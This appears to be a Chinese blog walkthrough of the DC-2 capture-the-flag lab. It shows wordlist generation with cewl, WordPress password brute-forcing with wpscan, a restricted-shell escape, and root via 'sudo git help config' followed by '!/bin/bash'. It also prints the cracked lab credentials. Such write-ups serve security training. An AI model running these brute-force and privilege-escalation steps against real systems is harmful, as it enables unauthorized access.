信息收集
netdiscover -r 192.168.1.0/24
![](https://img-blog.csdnimg.cn/img_convert/aa3b652b1543a53bc3a585e804acd142.png)
扫描发现目标机器地址为192.168.1.104
nmap端口扫描
└─$ nmap -A 192.168.1.104 -p-
84 Captured ARP Req/Rep packets, from 3 hosts. Total size: 5040
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.1.1 64:6e:97:dd:97:9b 71 4260 TP-LINK TECHNOLOGIES CO.,LTD.
192.168.1.104 08:00:27:66:2e:b1 1 60 PCS Systemtechnik GmbH
192.168.1.107 e4:5e:37:8e:32:4e 12 720 Intel Corporate
┌──(ydx㉿xuegod53)-[~]
└─$ nmap -A 192.168.1.104 -p- 130 ⨯
Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-15 15:01 CST
Stats: 0:00:08 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 15:01 (0:00:06 remaining)
Nmap scan report for 192.168.1.104
Host is up (0.00023s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Did not follow redirect to http://dc-2/
7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
| ssh-hostkey:
| 1024 52:51:7b:6e:70:a4:33:7a:d2:4b:e1:0b:5a:0f:9e:d7 (DSA)
| 2048 59:11:d8:af:38:51:8f:41:a7:44:b3:28:03:80:99:42 (RSA)
| 256 df:18:1d:74:26:ce:c1:4f:6f:2f:c1:26:54:31:51:91 (ECDSA)
|_ 256 d9:38:5f:99:7c:0d:64:7e:1d:46:f6:e9:7c:c6:37:17 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
扫描结果开放80和7744端口,web服务和ssh服务
访问80端口访问不了,需要修改hosts文件
![](https://img-blog.csdnimg.cn/img_convert/c073d2ca7b4f1d4efb70c257f04c3dda.png)
访问网站
![](https://img-blog.csdnimg.cn/img_convert/1412ec98a47709c1ca38dc2ba3aec6cc.png)
flag1
找到flag1 他提示我们使用cewl工具(一个字典生成工具)
**cewl具体使用可以参考:**https://www.codercto.com/a/44828.html
生成爆破密码字典
cewl http://dc-2/ > passwd.txt
wpscan扫描WordPress用户
![](https://img-blog.csdnimg.cn/img_convert/073e65d05d2dd81c612eb3ec3192debf.png)
发现三个用户,写入user.txt字典
然后使用wpscan 爆破后台
└─$ wpscan --url http://dc-2/ -U user.txt -P passwd.txt
爆破成功
![](https://img-blog.csdnimg.cn/img_convert/2a27fe26223166d2ad67be29a817338e.png)
Username: jerry, Password: adipiscing
Username: tom, Password: parturient
dirb扫后台目录
└─$ dirb http://dc-2/
![](https://img-blog.csdnimg.cn/img_convert/da4849856d43e8dbe55484208d0f2ca0.png)
登录后台
flag2
![](https://img-blog.csdnimg.cn/img_convert/75da11d4bf0499b8da12f482a34caf01.png)
根据提示尝试别的方法,通过扫描端口记得还开放了7744端口ssh服务尝试ssh登录
![](https://img-blog.csdnimg.cn/img_convert/67b40690a70a81f0654856fa4f3dae41.png)
登录之后发现flag3文件,但是查看不了
flag3
vi查看下提示
![](https://img-blog.csdnimg.cn/img_convert/623df4b5289690ed246ab9caf92a477c.png)
需要设置一个环境变量:export PATH=$PATH:/bin/ 和 然后就可以查看etc/passwd;
![](https://img-blog.csdnimg.cn/img_convert/48aa8f72d50251886a9524f3c05e308e.png)
git提权
根据刚刚的提示他应该让我们切换杰瑞用户,还是没有权限
![](https://img-blog.csdnimg.cn/img_convert/81e961634d3b64ddfa5ae083f78cf137.png)
flag4
![](https://img-blog.csdnimg.cn/img_convert/55c633ba308a20706a9d64ac27bdff1a.png)
根据flag4的提示,git提权
sudo git help config
!/bin/bash
![](https://img-blog.csdnimg.cn/img_convert/bab43160b37bfd2f200ef6dd039c5495.png)
flag5
![](https://img-blog.csdnimg.cn/img_convert/71d4d1c11a46fb55c22a038ee519cabc.png)
靶场总结
cewl 根据url返回字典文件
wpsan扫描用户名
wpscan爆破后台
dirb目录扫描
逃脱受限shell
导入PATH环境变量
git提权
![](https://img-blog.csdnimg.cn/img_convert/fa4ec2673ac55afafdbeab4b15171b4d.jpeg)
思君如满月,夜夜减清辉